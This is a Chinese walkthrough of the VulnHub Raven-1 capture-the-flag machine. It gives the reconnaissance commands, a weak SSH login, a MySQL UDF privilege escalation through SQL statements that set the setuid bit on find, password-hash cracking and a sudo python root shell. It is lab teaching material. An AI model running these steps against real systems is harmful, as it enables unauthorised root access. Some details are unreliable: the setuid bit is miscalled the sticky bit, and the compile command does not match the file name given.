Raven靶机:Hacking Writeup

  • Raven 下载地址:https://www.vulnhub.com/entry/raven-1,256/

Raven 是一个初/中级的渗透靶机。该靶机有两种获取 root 的方法。

方法一:

  1. IP发现和端口扫描
  2. 80 端口和 WordPress CMS 的发现
  3. 扫描 WordPress,发现两个系统用户
  4. ssh 弱密码尝试爆破
  5. 使用 LinEnum.sh 脚本枚举 Linux 活动进程
  6. 发现 MySQL
  7. 通过 WordPress 目录下的 wp-config.php 文件,获取数据库的用户名和密码
  8. 使用 MySQL 创建一个 UDF (用户定义函数) 动态库
  9. 将 mysql udf 的 exploit 编译成共享库(.so)
  10. 在靶机上运行 UDF 库程序
  11. 给 find 命令设置 sticky 位
  12. 获取 root 权限
  13. 获取 flag

先来看方法一

使用 netdiscover 来发现网络上的存活设备,并获取靶机的 IP 地址,在本例中,靶机的 IP 地址为:192.168.166.199

  • netdiscover -i eth0
image.png
image.png

使用 nmap 对靶机进行扫描,可以看到靶机打开了3个端口:22、80和111

  • nmap -A 192.168.166.199
image.png

于是我们把目光放到 80 端口,可以看到一个 Raven Security 的网站。

image.png

可以在右上角 SERVICE 菜单的页面源码中,找到 flag1。

image.png

右上角 BLOG 菜单,点击跳转后,会发现是 WordPress 系统。
于是使用 WPScan 进行扫描,看能枚举出什么有用的信息。

  • wpscan --url http://192.168.166.199/wordpress/ --wp-content-dir -ep -et -eu
image.png
image.png

发现靶机上的两个用户名:steven 和 michael
使用弱口令 michael/michael 尝试登陆ssh,可成功登录。

image.png

接着,我们把工作目录切换到 /tmp ,下载 LinEnum.sh 脚本,它可以枚举 Linux 系统各种信息。
这里我已将该脚本下载在了我本机,本机通过 Python 来开启简单的 http 服务,从而可以在靶机上下载该脚本。

image.png
image.png

运行该脚本,可看到 MySQL服务正在运行:

image.png
image.png

我们可以利用 MySQL UDF 进行提权。更多信息见:https://legalhackers.com/advisories/mysql-exploit-remote-root-code-execution-privesc-cve-2016-6662.html

使用 searchsploit 从 exploit-db 中搜索相关的 exploit :

  • searchsploit mysql udf
image.png

这里选择 1518.c 进行下载:

  • searchsploit -m 1518.c
image.png

查看 1518.c 可看到使用说明:

image.png

我们先进入 /var/www/html/wordpress 目录中搜索 wp-config.php 文件,因为该文件中记录着 MySQL 的用户名/密码,可看到:root/R@v3nSecurity

image.png

然后,再将 1518.c 编译成共享库:

  • gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

编译后生成 1518.so,并将它下载到靶机中: /tmp/1518.so

接着,使用得到的 MySQL root密码,进入 MySQL shell:

image.png

依次执行如下语句:

create table foo(line blob); #创建一个表,名为 foo。
insert into foo values(load_file('/tmp/1518.so')); #将 1518.so 导入 foo 表。
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; #将1518.so转储到 /usr/lib/mysql/plugin 目录中。
create function do_system returns integer soname '1518.so'; #最重要的一步,创建一个名为 do_system 的 UDF 函数,它将调用实现该函数的代码。
select do_system('chmod u+s /usr/bin/find'); #调用do_system() 函数,执行chmod 命令,对 /usr/bin/find 设置 sticky 位

  • 要说明一下,这种方式能成功提权的前提是 MySQL 服务是以 root 权限去启动的,所以 UDF 函数执行的代码也是以 root 权限去执行的。

此时,回到 /tmp 目录,使用 find 命令:

image.png

得到 flag2、flag4

image.png

至于 flag3,则是在 mysql 的 wordpress 库的 wp_posts 表中:

image.png
image.png

方法二:

  1. 在方法一一样,使用同样的方法得到靶机的 shell,以及进入 MySQL shell
  2. 在 MySQL shell中,可查看所有的数据库和表
  3. 从数据库 wordpress 中读取 wp_users 表
  4. 获取用户的密码 hash
  5. 破解其他用户的密码,并得到对应的 shell(因为已得到 michael 的密码)
  6. 发现 steven 运行 Python 不需要 root 权限 (使用 sudo -l 查看可知)
  7. 使用 Python pty模块生成 root TTY
  8. 获取 flag

来看方法二

查看数据库 wordpress 中的 wp_users 表,可看到密码 hash


image.png

将 steven 用户的密码 hash 转存到文本文件,并使用 John the Ripper 进行破解,得到密码:pink84

image.png

也可以使用在线破解站点进行破解:

image.png

还可以直接对 /etc/shadow 文件中 steven 用户的密码 hash 进行破解:

image.png
image.png

得到密码后,切换到 steven 用户:

image.png

执行 sudo -l, 可以看到 steven 用户可以使用 sudo 以 root 权限执行 Python 程序且无需输入 root 密码:

image.png

因此可使用Python 的 pty 模块,获取 root TTY:

image.png

你可能感兴趣的:(Raven靶机:Hacking Writeup)